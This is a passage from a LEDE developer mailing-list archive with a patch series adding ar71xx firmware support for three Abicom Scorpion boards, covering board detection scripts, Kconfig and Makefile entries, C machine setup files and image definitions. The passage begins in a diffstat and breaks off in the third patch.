 .../ar71xx/base-files/lib/upgrade/platform.sh      |   3 +
 target/linux/ar71xx/config-4.4                     |   3 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  33 +++++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   3 +
 .../ar71xx/files/arch/mips/ath79/mach-sc1750.c     | 145 ++++++++++++++++++++
 .../ar71xx/files/arch/mips/ath79/mach-sc300m.c     | 132 ++++++++++++++++++
 .../ar71xx/files/arch/mips/ath79/mach-sc450.c      | 149 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   3 +
 target/linux/ar71xx/image/generic.mk               |  30 +++++
 13 files changed, 520 insertions(+), 1 deletion(-)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc1750.c
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c

-- 
2.9.3



From i at conorogorman.net  Sun Jan 15 13:47:41 2017
From: i at conorogorman.net (Conor O'Gorman)
Date: Sun, 15 Jan 2017 21:47:41 +0000
Subject: [LEDE-DEV] [PATCH v2 1/3] ar71xx: add Abicom SC300M support
In-Reply-To: <20170115214743.8410-1-i@conorogorman.net>
References: <20170115214743.8410-1-i@conorogorman.net>
Message-ID: <20170115214743.8410-2-i@conorogorman.net>

Support Abicom International Scorpion SC300M Module

QCA9550 700MHz Extended Temperature Range
256MB DDR2
256MB Nand Flash
16MB SPI Flash
802.11a/na/b/g/ng
GPIO x 22, USB x2, PCIe x2
10/100/1000 Ethernet
23dBm, Optional Onboard Antenna
DC Input, 8-20V DC
85 x 55 mm

Signed-off-by: Conor O'Gorman <i at conorogorman.net>
---
 target/linux/ar71xx/base-files/etc/board.d/01_leds |   1 +
 .../linux/ar71xx/base-files/etc/board.d/02_network |   1 +
 target/linux/ar71xx/base-files/etc/diag.sh         |   3 +-
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
 .../ar71xx/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ar71xx/config-4.4                     |   1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  11 ++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
 .../ar71xx/files/arch/mips/ath79/mach-sc300m.c     | 132 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
 target/linux/ar71xx/image/generic.mk               |  10 ++
 11 files changed, 164 insertions(+), 1 deletion(-)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c

diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
index 5a2bf0c..5be9d4a 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
+++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
@@ -279,6 +279,7 @@ gl-mifi)
 	esac
 	;;
 gl-domino|\
+sc300m|\
 wrt160nl)
 	ucidef_set_led_wlan "wlan" "WLAN" "$board:blue:wlan" "phy0tpt"
 	;;
diff --git a/target/linux/ar71xx/base-files/etc/board.d/02_network b/target/linux/ar71xx/base-files/etc/board.d/02_network
index 66274db..54069ce 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/02_network
+++ b/target/linux/ar71xx/base-files/etc/board.d/02_network
@@ -93,6 +93,7 @@ ar71xx_setup_interfaces()
 	rb-sxt5n|\
 	re450|\
 	rocket-m-xw|\
+	sc300m |\
 	tl-mr10u|\
 	tl-mr11u|\
 	tl-mr12u|\
diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
index d060ccf..36f2c43 100644
--- a/target/linux/ar71xx/base-files/etc/diag.sh
+++ b/target/linux/ar71xx/base-files/etc/diag.sh
@@ -295,7 +295,8 @@ get_status_led() {
 	rb-sxt5n)
 		status_led="rb:green:power"
 		;;
-	re450)
+	re450|\
+	sc300m)
 		status_led="$board:blue:power"
 		;;
 	routerstation|\
diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
index 1b30f4d..a8bdc67 100755
--- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
+++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
@@ -881,6 +881,9 @@ ar71xx_board_detect() {
 	*RW2458N)
 		name="rw2458n"
 		;;
+	*SC300M)
+		name="sc300m"
+		;;
 	*"SMART-300")
 		name="smart-300"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
index 6341a31..74808ef 100755
--- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
@@ -226,6 +226,7 @@ platform_check_image() {
 	rocket-m-xw|\
 	rocket-m|\
 	rw2458n|\
+	sc300m|\
 	sr3200|\
 	tew-632brp|\
 	tew-712br|\
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index 4b2f736..daffdea 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -147,6 +147,7 @@ CONFIG_ATH79_MACH_R6100=y
 # CONFIG_ATH79_MACH_RBSXTLITE is not set
 CONFIG_ATH79_MACH_RE450=y
 CONFIG_ATH79_MACH_RW2458N=y
+CONFIG_ATH79_MACH_SC300M=y
 CONFIG_ATH79_MACH_SMART_300=y
 CONFIG_ATH79_MACH_SOM9331=y
 CONFIG_ATH79_MACH_SR3200=y
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index 21d6b51..fd6c261 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -14,6 +14,17 @@ config ATH79_MACH_ALFA_AP96
 	select ATH79_DEV_M25P80
 	select ATH79_DEV_USB
 
+config ATH79_MACH_SC300M
+	bool "Abicom SC300M board support"
+	select SOC_QCA955X
+	select ATH79_DEV_AP9X_PCI if PCI
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_M25P80
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+
 config ATH79_MACH_HORNET_UB
 	bool "ALFA Network Hornet-UB board support"
 	select SOC_AR933X
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index 6384c06..915b34e 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -151,6 +151,7 @@ obj-$(CONFIG_ATH79_MACH_RB95X)			+= mach-rb95x.o
 obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
 obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
 obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
+obj-$(CONFIG_ATH79_MACH_SC300M)			+= mach-sc300m.o
 obj-$(CONFIG_ATH79_MACH_SMART_300)		+= mach-smart-300.o
 obj-$(CONFIG_ATH79_MACH_SOM9331)		+= mach-som9331.o
 obj-$(CONFIG_ATH79_MACH_SR3200)			+= mach-sr3200.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
new file mode 100644
index 0000000..2830bcf
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
@@ -0,0 +1,132 @@
+/*
+ * Abicom International Scorpion SC300M Module support.
+ *
+ * Copyright (c) 2012 Qualcomm Atheros
+ * Copyright (c) 2012-2013 Gabor Juhos <juhosg at openwrt.org>
+ * Copyright (c) 2017 Conor O'Gorman <i at conorogorman.net>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ *
+ */
+
+#include <linux/platform_device.h>
+#include <linux/platform_data/phy-at803x.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "pci.h"
+#include "dev-ap9x-pci.h"
+#include "dev-gpio-buttons.h"
+#include "dev-eth.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-nfc.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define SC300M_GPIO_LED_WLAN		0
+#define SC300M_GPIO_LED_POWER		1
+
+#define SC300M_GPIO_BTN_RESET		17
+
+#define SC300M_KEYS_POLL_INTERVAL	20	/* msecs */
+#define SC300M_KEYS_DEBOUNCE_INTERVAL	(3 * SC300M_KEYS_POLL_INTERVAL)
+
+#define SC300M_MAC0_OFFSET		0
+#define SC300M_MAC1_OFFSET		6
+#define SC300M_WMAC_CALDATA_OFFSET	0x1000
+#define SC300M_PCIE_CALDATA_OFFSET	0x5000
+
+static struct gpio_led sc300m_leds_gpio[] __initdata = {
+	{
+		.name		= "sc300m:blue:wlan",
+		.gpio		= SC300M_GPIO_LED_WLAN,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc300m:blue:power",
+		.gpio		= SC300M_GPIO_LED_POWER,
+		.active_low	= 1,
+	}
+};
+
+static struct gpio_keys_button sc300m_gpio_keys[] __initdata = {
+	{
+		.desc		= "reset",
+		.type		= EV_KEY,
+		.code		= KEY_RESTART,
+		.debounce_interval = SC300M_KEYS_DEBOUNCE_INTERVAL,
+		.gpio		= SC300M_GPIO_BTN_RESET,
+		.active_low	= 1,
+	}
+};
+
+static struct at803x_platform_data at803x_data = {
+	.disable_smarteee = 1,
+	.enable_rgmii_rx_delay = 0,
+	.enable_rgmii_tx_delay = 0,
+};
+
+static struct mdio_board_info sc300m_mdio0_info[] = {
+	{
+		.bus_id = "ag71xx-mdio.0",
+		.phy_addr = 1,
+		.platform_data = &at803x_data,
+	},
+};
+
+static void __init sc300m_setup(void)
+{
+	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
+
+	ath79_register_m25p80(NULL);
+
+	ath79_register_leds_gpio(-1, ARRAY_SIZE(sc300m_leds_gpio),
+				 sc300m_leds_gpio);
+	ath79_register_gpio_keys_polled(-1, SC300M_KEYS_POLL_INTERVAL,
+					ARRAY_SIZE(sc300m_gpio_keys),
+					sc300m_gpio_keys);
+
+	ath79_register_usb();
+	ath79_register_nfc();
+
+	ath79_register_wmac(art + SC300M_WMAC_CALDATA_OFFSET, NULL);
+
+	ath79_register_mdio(0, 0);
+	mdiobus_register_board_info(sc300m_mdio0_info,
+				    ARRAY_SIZE(sc300m_mdio0_info));
+
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + SC300M_MAC0_OFFSET, 0);
+
+	ath79_eth0_pll_data.pll_1000 = 0xa6000101;
+	ath79_eth0_pll_data.pll_100 = 0xa4000101;
+	/* GMAC0 is connected to the RMGII interface */
+	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
+	ath79_eth0_data.phy_mask = 0xF;
+	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
+
+	ath79_register_eth(0);
+
+	/* GMAC1 is connected to the SGMII interface */
+	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
+	ath79_eth1_data.speed = SPEED_1000;
+	ath79_eth1_data.duplex = DUPLEX_FULL;
+
+	ath79_register_eth(1);
+
+	ath79_register_pci();
+}
+
+MIPS_MACHINE(ATH79_MACH_SC300M, "SC300M", "Abicom SC300M", sc300m_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index 9402185..b1e29f9 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -168,6 +168,7 @@ enum ath79_mach_type {
 	ATH79_MACH_RB_SXTLITE5ND,		/* Mikrotik RouterBOARD SXT Lite 5nD */
 	ATH79_MACH_RE450,			/* TP-LINK RE450 */
 	ATH79_MACH_RW2458N,			/* Redwave RW2458N */
+	ATH79_MACH_SC300M,			/* Abicom SC300M */
 	ATH79_MACH_SMART_300,			/* NC-LINK SMART-300 */
 	ATH79_MACH_SOM9331,			/* OpenEmbed SOM9331 */
 	ATH79_MACH_SR3200,			/* YunCore SR3200 */
diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
index e2867e6..f8445b5 100644
--- a/target/linux/ar71xx/image/generic.mk
+++ b/target/linux/ar71xx/image/generic.mk
@@ -464,6 +464,16 @@ define Device/onion-omega
 endef
 TARGET_DEVICES += onion-omega
 
+define Device/sc300m
+  DEVICE_TITLE := Abicom SC300M
+  DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
+  BOARDNAME = SC300M
+  IMAGE_SIZE = 15744k
+  CONSOLE = ttyS0,115200
+  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env),15744k(firmware),128k(APConfig),128k(kplog),64k(ART)
+endef
+TARGET_DEVICES += sc300m
+
 define Device/smart-300
   $(Device/tplink-8mlzma)
   DEVICE_TITLE := NC-LINK SMART-300
-- 
2.9.3



From i at conorogorman.net  Sun Jan 15 13:47:42 2017
From: i at conorogorman.net (Conor O'Gorman)
Date: Sun, 15 Jan 2017 21:47:42 +0000
Subject: [LEDE-DEV] [PATCH v2 2/3] ar71xx: add Abicom SC450 support
In-Reply-To: <20170115214743.8410-1-i@conorogorman.net>
References: <20170115214743.8410-1-i@conorogorman.net>
Message-ID: <20170115214743.8410-3-i@conorogorman.net>

Support Abicom International Scorpion SC450 Board

QCA9550 700MHz Extended Temperature Range
256MB DDR2
256MB NAND Flash
16MB NOR Flash
10/100/1000 Ethernet
15W Max, 3x3 Mode, Full Power TX Power
802.3-at POE+ & DC Input options
100x 85mm
USB
PCIe
SFP
GPIO/LED

Signed-off-by: Conor O'Gorman <i at conorogorman.net>
---
 target/linux/ar71xx/base-files/etc/board.d/01_leds |   3 +
 target/linux/ar71xx/base-files/etc/diag.sh         |   1 +
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
 .../ar71xx/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ar71xx/config-4.4                     |   1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  11 ++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
 .../ar71xx/files/arch/mips/ath79/mach-sc450.c      | 149 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
 target/linux/ar71xx/image/generic.mk               |  10 ++
 10 files changed, 181 insertions(+)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c

diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
index 5be9d4a..898af5e 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
+++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
@@ -437,6 +437,9 @@ re450)
 	ucidef_set_led_wlan "wlan2g" "WLAN 2.4 GHz" "$board:blue:wlan2g" "phy1tpt"
 	ucidef_set_led_wlan "wlan5g" "WLAN 5 GHz" "$board:blue:wlan5g" "phy0tpt"
 	;;
+sc450)
+	ucidef_set_led_wlan "wlan" "WLAN" "$board:green:wlan" "phy0tpt"
+	;;
 smart-300)
 	ucidef_set_led_netdev "wan" "WAN" "nc-link:green:wan" "eth0"
 	ucidef_set_led_switch "lan1" "LAN1" "nc-link:green:lan1" "switch0" "0x04"
diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
index 36f2c43..695f0a1 100644
--- a/target/linux/ar71xx/base-files/etc/diag.sh
+++ b/target/linux/ar71xx/base-files/etc/diag.sh
@@ -44,6 +44,7 @@ get_status_led() {
 	mr12|\
 	mr16|\
 	nbg6616|\
+	sc450|\
 	tl-wpa8630)
 		status_led="$board:green:power"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
index a8bdc67..a15aab9 100755
--- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
+++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
@@ -884,6 +884,9 @@ ar71xx_board_detect() {
 	*SC300M)
 		name="sc300m"
 		;;
+	*SC450)
+		name="sc450"
+		;;
 	*"SMART-300")
 		name="smart-300"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
index 74808ef..690f5f2 100755
--- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
@@ -227,6 +227,7 @@ platform_check_image() {
 	rocket-m|\
 	rw2458n|\
 	sc300m|\
+	sc450|\
 	sr3200|\
 	tew-632brp|\
 	tew-712br|\
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index daffdea..bdd2179 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -148,6 +148,7 @@ CONFIG_ATH79_MACH_R6100=y
 CONFIG_ATH79_MACH_RE450=y
 CONFIG_ATH79_MACH_RW2458N=y
 CONFIG_ATH79_MACH_SC300M=y
+CONFIG_ATH79_MACH_SC450=y
 CONFIG_ATH79_MACH_SMART_300=y
 CONFIG_ATH79_MACH_SOM9331=y
 CONFIG_ATH79_MACH_SR3200=y
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index fd6c261..37eb57d 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -25,6 +25,17 @@ config ATH79_MACH_SC300M
 	select ATH79_DEV_USB
 	select ATH79_DEV_WMAC
 
+config ATH79_MACH_SC450
+	bool "Abicom SC450 board support"
+	select SOC_QCA955X
+	select ATH79_DEV_AP9X_PCI if PCI
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_M25P80
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+
 config ATH79_MACH_HORNET_UB
 	bool "ALFA Network Hornet-UB board support"
 	select SOC_AR933X
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index 915b34e..ae0e007 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -152,6 +152,7 @@ obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
 obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
 obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
 obj-$(CONFIG_ATH79_MACH_SC300M)			+= mach-sc300m.o
+obj-$(CONFIG_ATH79_MACH_SC450)			+= mach-sc450.o
 obj-$(CONFIG_ATH79_MACH_SMART_300)		+= mach-smart-300.o
 obj-$(CONFIG_ATH79_MACH_SOM9331)		+= mach-som9331.o
 obj-$(CONFIG_ATH79_MACH_SR3200)			+= mach-sr3200.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c
new file mode 100644
index 0000000..9cd0815
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c
@@ -0,0 +1,149 @@
+/*
+ * Abicom International Scorpion SC450 support.
+ *
+ * Copyright (c) 2012 Qualcomm Atheros
+ * Copyright (c) 2012-2013 Gabor Juhos <juhosg at openwrt.org>
+ * Copyright (c) 2017 Conor O'Gorman <i at conorogorman.net>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ *
+ */
+
+#include <linux/platform_device.h>
+#include <linux/platform_data/phy-at803x.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "pci.h"
+#include "dev-ap9x-pci.h"
+#include "dev-gpio-buttons.h"
+#include "dev-eth.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-nfc.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define SC450_GPIO_LED_POWER		13
+#define SC450_GPIO_LED_ERR1		14
+#define SC450_GPIO_LED_ERR2		15
+#define SC450_GPIO_LED_WLAN		16
+#define SC450_GPIO_BTN_RESET		17
+#define SC450_GPIO_WP			18
+#define SC450_GPIO_POE			19
+#define SC450_GPIO_RX_LOS		20
+#define SC450_GPIO_MOD_GND		21
+#define SC450_GPIO_MOD_SCL		22
+#define SC450_GPIO_MOD_SDA		23
+
+#define SC450_KEYS_POLL_INTERVAL	20	/* msecs */
+#define SC450_KEYS_DEBOUNCE_INTERVAL	(3 * SC450_KEYS_POLL_INTERVAL)
+
+#define SC450_MAC0_OFFSET		0
+#define SC450_MAC1_OFFSET		6
+#define SC450_WMAC_CALDATA_OFFSET	0x1000
+#define SC450_PCIE_CALDATA_OFFSET	0x5000
+
+static struct gpio_led sc450_leds_gpio[] __initdata = {
+	{
+		.name		= "sc450:green:power",
+		.gpio		= SC450_GPIO_LED_POWER,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc450:red:power",
+		.gpio		= SC450_GPIO_LED_ERR1,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc450:green:wlan",
+		.gpio		= SC450_GPIO_LED_WLAN,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc450:red:wlan",
+		.gpio		= SC450_GPIO_LED_ERR2,
+		.active_low	= 1,
+	}
+};
+
+static struct gpio_keys_button sc450_gpio_keys[] __initdata = {
+	{
+		.desc		= "reset",
+		.type		= EV_KEY,
+		.code		= KEY_RESTART,
+		.debounce_interval = SC450_KEYS_DEBOUNCE_INTERVAL,
+		.gpio		= SC450_GPIO_BTN_RESET,
+		.active_low	= 1,
+	}
+};
+
+static struct at803x_platform_data at803x_data = {
+	.disable_smarteee = 1,
+	.enable_rgmii_rx_delay = 0,
+	.enable_rgmii_tx_delay = 0,
+};
+
+static struct mdio_board_info sc450_mdio0_info[] = {
+	{
+		.bus_id = "ag71xx-mdio.0",
+		.phy_addr = 1,
+		.platform_data = &at803x_data,
+	},
+};
+
+static void __init sc450_setup(void)
+{
+	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
+
+	ath79_register_m25p80(NULL);
+
+	ath79_register_leds_gpio(-1, ARRAY_SIZE(sc450_leds_gpio),
+				 sc450_leds_gpio);
+	ath79_register_gpio_keys_polled(-1, SC450_KEYS_POLL_INTERVAL,
+					ARRAY_SIZE(sc450_gpio_keys),
+					sc450_gpio_keys);
+
+	ath79_register_usb();
+	ath79_register_nfc();
+
+	ath79_register_wmac(art + SC450_WMAC_CALDATA_OFFSET, NULL);
+
+	ath79_register_mdio(0, 0);
+	mdiobus_register_board_info(sc450_mdio0_info,
+				    ARRAY_SIZE(sc450_mdio0_info));
+
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + SC450_MAC0_OFFSET, 0);
+
+	ath79_eth0_pll_data.pll_1000 = 0xa6000101;
+	ath79_eth0_pll_data.pll_100 = 0xa4000101;
+	/* GMAC0 is connected to the RMGII interface */
+	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
+	ath79_eth0_data.phy_mask = 0xF;
+	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
+
+	ath79_register_eth(0);
+
+	/* GMAC1 is connected to the SGMII interface */
+	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
+	ath79_eth1_data.speed = SPEED_1000;
+	ath79_eth1_data.duplex = DUPLEX_FULL;
+
+	ath79_register_eth(1);
+
+	ath79_register_pci();
+}
+
+MIPS_MACHINE(ATH79_MACH_SC450, "SC450", "Abicom SC450", sc450_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index b1e29f9..da9c160 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -169,6 +169,7 @@ enum ath79_mach_type {
 	ATH79_MACH_RE450,			/* TP-LINK RE450 */
 	ATH79_MACH_RW2458N,			/* Redwave RW2458N */
 	ATH79_MACH_SC300M,			/* Abicom SC300M */
+	ATH79_MACH_SC450,			/* Abicom SC450 */
 	ATH79_MACH_SMART_300,			/* NC-LINK SMART-300 */
 	ATH79_MACH_SOM9331,			/* OpenEmbed SOM9331 */
 	ATH79_MACH_SR3200,			/* YunCore SR3200 */
diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
index f8445b5..02b90b0 100644
--- a/target/linux/ar71xx/image/generic.mk
+++ b/target/linux/ar71xx/image/generic.mk
@@ -474,6 +474,16 @@ define Device/sc300m
 endef
 TARGET_DEVICES += sc300m
 
+define Device/sc450
+  DEVICE_TITLE := Abicom SC450
+  DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
+  BOARDNAME = SC450
+  IMAGE_SIZE = 15744k
+  CONSOLE = ttyS0,115200
+  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env),15744k(firmware),128k(APConfig),128k(kplog),64k(ART)
+endef
+TARGET_DEVICES += sc450
+
 define Device/smart-300
   $(Device/tplink-8mlzma)
   DEVICE_TITLE := NC-LINK SMART-300
-- 
2.9.3



From i at conorogorman.net  Sun Jan 15 13:47:43 2017
From: i at conorogorman.net (Conor O'Gorman)
Date: Sun, 15 Jan 2017 21:47:43 +0000
Subject: [LEDE-DEV] [PATCH v2 3/3] ar71xx: add Abicom SC1750 support
In-Reply-To: <20170115214743.8410-1-i@conorogorman.net>
References: <20170115214743.8410-1-i@conorogorman.net>
Message-ID: <20170115214743.8410-4-i@conorogorman.net>

Support Abicom International Scorpion SC1750 Board

QCA9550 700MHz Extended Temperature Range
256MB DDR2
256MB Nand Flash
16MB Nor Flash
1x SFP, 1x PCIe
2x 10/100/1000 Ethernet
135x100 mm
802.11ng/g/b
802.11ac/an/a

Signed-off-by: Conor O'Gorman <i at conorogorman.net>
---
 target/linux/ar71xx/base-files/etc/board.d/01_leds |   1 +
 target/linux/ar71xx/base-files/etc/diag.sh         |   1 +
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
 .../ar71xx/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ar71xx/config-4.4                     |   1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  11 ++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
 .../ar71xx/files/arch/mips/ath79/mach-sc1750.c     | 145 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
 target/linux/ar71xx/image/generic.mk               |  10 ++
 10 files changed, 175 insertions(+)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc1750.c

diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
index 898af5e..c24487e 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
+++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
@@ -437,6 +437,7 @@ re450)
 	ucidef_set_led_wlan "wlan2g" "WLAN 2.4 GHz" "$board:blue:wlan2g" "phy1tpt"
